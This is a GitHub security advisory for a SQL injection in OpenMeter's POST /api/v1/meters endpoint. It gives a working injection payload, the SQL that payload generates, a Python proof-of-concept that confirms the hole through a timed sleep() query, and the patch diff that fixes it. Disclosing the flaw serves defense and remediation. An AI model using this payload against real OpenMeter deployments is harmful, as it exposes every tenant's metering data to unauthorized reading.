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OpenMeter: SQL injection through meter creation

Moderate severity GitHub Reviewed Published May 19, 2026 in openmeterio/openmeter • Updated Jun 4, 2026

Package

gomod github.com/openmeterio/openmeter (Go)

Affected versions

< 1.0.0-beta.228

Patched versions

1.0.0-beta.228

Description

Summary

An authenticated tenant can inject arbitrary SQL through the valueProperty or groupBy fields of POST /api/v1/meters. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.

Details

openmeter/streaming/clickhouse/utils_query.go:15 builds a ClickHouse SELECT by interpolating user input with fmt.Sprintf:

sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))

sqlbuilder.Escape() (go-sqlbuilder v1.40.2) only replaces $$$ to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. sb.Build() always returns an empty args slice — the query is never parameterized.

The payload must be prefixed with a valid JSONPath expression (e.g. $.foo) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which ValidateJSONPath silently treats as "invalid JSONPath" and returns early — before the injected branch can execute.

Working payload:

$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --

Generated SQL:

SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'

Fix — replace fmt.Sprintf string interpolation with sb.Var(), which appends the value to the builder's args list and emits a ? placeholder:

-sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath)))
+sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath)))

PoC

poc.py:

import json, time, uuid
from urllib.request import Request, urlopen

SLEEP   = 3
API     = "http://localhost:48888"
PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --"

def post_meter(value_property):
    body = json.dumps({
        "slug":          f"poc_{uuid.uuid4().hex[:8]}",
        "eventType":     "x",
        "aggregation":   "SUM",
        "valueProperty": value_property,
    }).encode()
    req = Request(f"{API}/api/v1/meters", data=body,
                  headers={"Content-Type": "application/json"}, method="POST")
    t0 = time.monotonic()
    with urlopen(req, timeout=SLEEP + 10) as r:
        return r.status, time.monotonic() - t0

_, baseline = post_meter("$.tokens")
status, elapsed = post_meter(PAYLOAD)

print(f"baseline : {baseline:.3f}s")
print(f"injected : {elapsed:.3f}s  (HTTP {status})")
print(f"result   : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}")
docker compose up -d
until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done
python3 poc.py

Expected output:

baseline : 0.036s
injected : 3.031s  (HTTP 200)
result   : sleep(3) CONFIRMED

Impact

SQL injection via POST /api/v1/meters (valueProperty or groupBy). Requires a valid tenant API key; no other preconditions. The shared openmeter.om_events table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research

References

@chrisgacsal chrisgacsal published to openmeterio/openmeter May 19, 2026
Published to the GitHub Advisory Database Jun 4, 2026
Reviewed Jun 4, 2026
Last updated Jun 4, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

CVE ID

CVE-2026-8462

GHSA ID

GHSA-wc3v-3457-c8cm

Source code

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